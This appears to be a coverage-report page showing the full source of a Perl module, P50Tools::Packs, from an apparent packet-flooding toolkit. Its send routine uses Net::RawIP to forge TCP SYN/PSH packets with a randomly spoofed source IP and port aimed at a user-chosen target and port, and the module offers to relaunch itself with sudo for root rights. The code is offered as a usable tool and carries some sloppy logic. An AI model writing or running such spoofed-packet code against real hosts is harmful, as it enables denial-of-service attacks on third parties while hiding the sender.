P50Tools/Packs.pm untested

filter: Statementstmt 0.0% 0 / 63 Branchbran 0.0% 0 / 8 Conditioncond n/a MC/DCmcdc n/a Subroutinesub 0.0% 0 / 8 Podpod 0.0% 0 / 1 totaltotal 0.0% 0 / 80 CC 1 SCAR 6.9
CC
1
Cov
0%
send
2.0
BEGIN
2.0
BEGIN
2.0
CRAP 2.0
1 package P50Tools::Packs;
2  
3 {
4 no strict "vars";
5 $VERSION = '0.3';
6 }
7  
8 if ($^O eq m/MSW/gi) {
9 print "you cannot use this\n";
10 print "you can modified this package but you will need Net::RawIP, but this package require libcarp, and it's is incompatible with Windows\n";
11 exit 0;
12 }
13  
14 unless ($< == 0) {
15 print "It is recommended to run this Tool as Root User\n\nDo you Would you like to change your Permissions to ROOT?\n";
16 print "[yes/no]";
17 chomp (my $choice = <>);
18 my $work = 1;
19 while ($work == 1){
20 if ($choice eq 'yes'){
21 system ('sudo perl ' . $0);
22 system ('clear');
23 exit;
24 $work = 0;
25 }
26 elsif ($choice eq 'no'){
27 print "This package can be a bed performing\n";
28 system ('clear');
29 $work = 0;
30 }
31 else{
32 print "ERROR!\nType only 'yes' or 'no'\n";
33 $choice = <>;
34 chomp $choice;
35 }
36 }
37 }
38  
39 use common::sense;
40 use Net::RawIP;
41 use Packs::PacksSize;
42 use Packs::RandonIp;
43 use Moose;
44  
45 has 'target' => (is => 'rw', isa => 'Str');
46 has 'door' => (is => 'rw', isa => 'Str', default => 80);
47  
48 sub send{
49 my $self = shift;
50 my $s1 = $self->target;
51 my $s2 = $self->door;
52
53 my $ip = P50Tools::Packs::RandonIp->new();
54 my $size = P50Tools::Packs::PacksSize->new();
55 say "___________________________";
56 say "DADDR = $s1";
57 say "SADDR = $ip";
58 say "SOURCE = $size";
59 say "DEST = $s2";
60 say "___________________________";
61 my $n = Net::RawIP->new({
62 ip => {
63 saddr => $ip,
64 daddr => $s1,
65 },
66 tcp => {
67 source => $size,
68 dest => $s2,
69 psh => 1,
70 syn => 1,
71 },
72 });
73 $n->send;
74 return $n;
75 }
76 no Moose;
77 1;
78  
79 __END__